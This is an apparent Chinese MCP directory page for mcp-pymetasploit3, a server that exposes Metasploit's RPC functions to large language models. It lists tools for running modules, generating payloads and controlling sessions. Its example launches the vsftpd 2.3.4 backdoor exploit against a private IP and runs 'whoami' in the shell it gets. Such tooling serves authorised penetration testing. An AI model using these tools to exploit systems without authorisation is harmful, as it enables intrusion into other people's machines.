关于 mcp-pymetasploit3
mcp-pymetasploit3 通过 Metasploit Framework 的 RPC 接口,将 pymetasploit3 功能提供给大模型。它支持执行模块,以及管理会话、控制台、任务、插件和数据库记录。
主要功能
- 01连接并管理 Metasploit RPC
- 02搜索、配置和执行模块
- 03生成载荷并管理会话
- 04控制台及运行中任务管理
- 05管理工作区、主机和发现项
- 06查看框架设置与插件
适用场景
- 01查找并配置 Metasploit 模块
- 02执行模块并查看输出
- 03检查或交互活动会话
- 04查看主机、服务、凭据和漏洞
MCP 相关
该 MCP 服务将 pymetasploit3 功能作为工具提供,并通过 msfrpc 协议连接 Metasploit Framework。需另外启动 Metasploit RPC 服务。
配置
本地服务的配置在各客户端中通用,复制后粘贴到客户端的 MCP 配置文件即可。
工具
还没有获取到工具列表
本地服务需要在你的电脑上运行后才能读取工具,维护者暂未提供工具列表。
详细介绍
mcp-pymetasploit3
通过 pymetasploit3 连接 Metasploit Framework 的 MCP 服务。此服务将 pymetasploit3 的所有功能作为 MCP 工具开放,使大模型能够通过 msfrpc 协议与 Metasploit Framework 交互。
安装
pip install mcp-pymetasploit3
MCP 服务配置
{
"mcpServers": {
"mcp-pymetasploit3": {
"command": "mcp-pymetasploit3",
"env": {}
}
}
}
使用方法
启动 Metasploit RPC 服务
使用 MCP 服务前,需要启动 Metasploit RPC 服务:
使用 msfrpcd:
msfrpcd -P yourpassword -p 55553 -n
使用 msfconsole:
msfconsole -q
msf6 > load msgrpc Pass=yourpassword
MCP 工具
连接后,可使用以下工具:
连接管理
connect- 连接到 Metasploit RPC 服务disconnect- 断开与 RPC 服务的连接get_client_info- 获取当前连接状态
模块管理
list_modules- 按类型列出可用模块use_module- 加载指定模块get_module_info- 获取模块描述和信息get_module_options- 获取所有模块选项set_module_option- 设置模块选项get_missing_required- 获取尚未设置的必需选项execute_module- 执行模块get_module_targets- 获取可用目标set_module_target- 设置目标get_target_payloads- 获取兼容的有效载荷
有效载荷生成
generate_payload- 生成有效载荷
会话管理
list_sessions- 列出所有活动会话get_session_info- 获取会话信息interact_session- 向会话写入内容或从会话读取内容session_run_command- 运行命令并获取输出stop_session- 停止会话
控制台管理
create_console- 创建新控制台destroy_console- 销毁控制台write_console- 向控制台写入内容read_console- 读取控制台输出console_is_busy- 检查控制台是否繁忙run_module_output- 执行模块并获取输出
核心/框架
get_framework_version- 获取框架版本core_save- 保存核心状态core_reload_modules- 重新加载模块core_set_global- 设置全局变量core_unset_global- 取消设置全局变量
数据库
get_db_status- 获取数据库状态db_list_workspaces- 列出工作区db_set_workspace- 设置当前工作区db_list_hosts- 列出主机db_list_services- 列出服务db_list_notes- 列出备注db_list_creds- 列出凭据db_list_vulns- 列出漏洞
作业
list_jobs- 列出正在运行的作业stop_job- 停止作业get_job_info- 获取作业信息
插件
list_plugins- 列出已加载的插件load_plugin- 加载插件unload_plugin- 卸载插件
搜索
search_modules- 搜索模块get_module_references- 获取模块引用
示例
# Connect to Metasploit
connect(password="yourpassword", host="127.0.0.1", port=55553, ssl=False)
# List exploits
exploits = list_modules("exploit")
# Use an exploit
use_module("exploit", "unix/ftp/vsftpd_234_backdoor")
# Set options
set_module_option("exploit", "unix/ftp/vsftpd_234_backdoor", "RHOSTS", "192.168.1.100")
# Execute
result = execute_module("exploit", "unix/ftp/vsftpd_234_backdoor", payload="cmd/unix/interact")
# List sessions
sessions = list_sessions()
# Interact with session
output = interact_session("1", "whoami")
# Disconnect
disconnect()
开发
git clone https://github.com/daedalus/mcp-pymetasploit3.git
cd mcp-pymetasploit3
pip install -e ".[test]"
# run tests
pytest
# format
ruff format src/ tests/
# lint
ruff check src/ tests/
# type check
mypy src/
mcp-name: io.github.daedalus/mcp-pymetasploit3
评论
支持 Markdown
一个开放协议,规定了 AI 应用如何以统一方式连接外部工具与数据源。客户端负责与模型对话,MCP 服务负责提供工具、资源和提示模板,两者通过标准消息通信,同一个服务可以被不同客户端复用。